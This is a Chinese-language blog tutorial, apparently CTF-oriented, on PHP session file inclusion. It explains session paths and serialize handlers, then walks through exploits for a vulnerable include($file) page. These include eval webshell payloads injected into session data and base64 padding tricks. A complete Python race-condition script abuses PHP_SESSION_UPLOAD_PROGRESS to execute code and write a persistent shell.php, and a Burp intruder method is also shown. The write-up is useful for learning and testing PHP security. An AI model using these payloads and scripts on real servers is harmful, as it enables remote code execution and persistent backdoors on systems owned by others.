Session文件包含
Session文件
- Session文件的储存
由session.save_path来设置
- 默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
- 命名格式
默认情况下,session.use_strict_mode
值是0,此时用户是可以自己定义Session ID
的。比如,我们在Cookie里设置PHPSESSID=mixian
,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_mixian
。
session
的文件名格式为sess_[phpsessid]
。而PHPSESSID在发送的请求的Cookie字段中可以看到。
- 会话处理
php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对session.serialize_handler
的配置。
session.serialize_handler
PHP中处理用户会话信息的主要是下面定义的两种方式
session.serialize_handler = php 一直都在(默认方式) 它是用 |分割
session.serialize_handler = php_serialize php5.5之后启用 它是用serialize反序列化格式分割
demo:
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
下面看一下php_serialize模式是怎么存储的
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
LFI Session
测试代码:
//session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
//index.php
<?php
$file = $_GET['file'];
include($file);
?>
将session文件内容传入恶意代码
http://175.27.229.115/session.php
POST:
username=<?php @eval($_POST[cmd]);?>
然后在index.php包含我们的session文件
Session Base64Encode
测试代码:
//session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
//index.php
<?php
$file = $_GET['file'];
include($file);
?>
无非是加了base64编码,我们直接用伪协议解码
?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_ckdjun3bfrugbpd2lpo05072uo
但是解出来的是一堆乱码,我们无法直接利用
所以我们需要根据base64编码的原理来补足字节(解码的时候默认删除了|
和:
)
需要满足base64解码的原理,就是4个字节能够还原原始的3个字节信息,也就是说session前面的这部分数据长度需要满足4的整数倍
username|s:40:"
这部分数据长度为15,实际解码为usernames40
,实际长度为11,不满足情况。补上一位凑齐四的倍数usernames40X
如果是三位的话呢username|s:100:"
解码后不就正好是四的倍数了吗,所以我们只需要填上一些占位字符凑够三位数的长度就能bypass
再次构造payload
POST:
username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_POST['cmd']);?>
//base64编码后为YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYTw/cGhwIGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
长度为108
可以看到这次成功解析
如果处理器是session.serialize_handler
的话呢
测试代码
//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
a:1:{s:8:"username";s:56:
这部分被吞掉非法字符后为a1s8usernames56 一共15位,所以当编码后长度为三位数时就是16符合四的倍数
所以修改后的Paylaod:
username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_POST['cmd']);?>
看到也是成功bypasss
No session_start()
session.upload_progress
我们之前说过在默认情况下,session.use_strict_mode
值是0时可以通过PHPSESSID的值控制session文件的命名
但这个技巧的实现要满足一个条件:服务器上需要已经初始化Session。 在PHP中,通常初始化Session的操作是执行session_start()。
如果没有执行session_start()的情况下呢
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项是关闭的。
session.upload_progress.enabled = on
:默认开启这个选项,表示upload_progress
功能开启,PHP 能够在每一个文件上传时监测上传进度。所以在No session_start()情况下PHP也会自动初始化Session。
session.upload_progress.cleanup = on
:php>=5.4默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix
前缀名默认为:upload_progress_
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
:当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
+session.upload_progress.min_freq = "1"
:选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
查看官方给的案列
PHP_SESSION_UPLOAD_PROGRESS的官方手册
http://php.net/manual/zh/session.upload-progress.php
一个上传进度数组的结构的例子
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session中存放的数据看上去是这样子的:
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
py脚本条件竞争
从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name
)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=mixian
(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS
,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=mixian,所以Session文件将会自动创建。
但是当文件上传结束后,php将会立即清空对应session文件中的内容。所以我们需要进行条件竞争
测试代码:
//session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
//index.php
<?php
$file = $_GET['file'];
include($file);
?>
条件竞争EXP:
import io
import sys
import requests
import threading
sessid = 'mixian'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://175.27.229.115/index.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php @eval($_POST[cmd]);fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
data={
"cmd" : "phpinfo();"
}
response = session.post(f"http://175.27.229.115/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}",data=data)
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
READ(session)
恶意代码成功执行,木马文件和session文件也成功生成,需要写入权限
表单利用攻击
这里可以更改官方给的案例进行利用
需要更改目标url地址
upload.html
<!doctype html>
<html>
<body>
<form action="http://175.27.229.115/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo();?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
</body>
</html>
但是同样需要注意的是,cleanup是on,所以需要条件竞争,使用BP抓包,一遍疯狂发包,一遍疯狂请求。
我们访问本地upload.html然后上传文件,抓包
- 构造恶意会话
- 用intruder模块,请求载荷设置
Null payloads
- 不断发包维持恶意session的存储
- 发包请求恶意会话
- 请求载荷设置
Null payloads
在一端不断发包维持恶意session存储的时候,另一端不断发包请求包含恶意的session
条件竞争成功。。。
标签:文件,PHP,包含,Session,upload,session,progress,php From: https://www.cnblogs.com/m1xian/p/18359738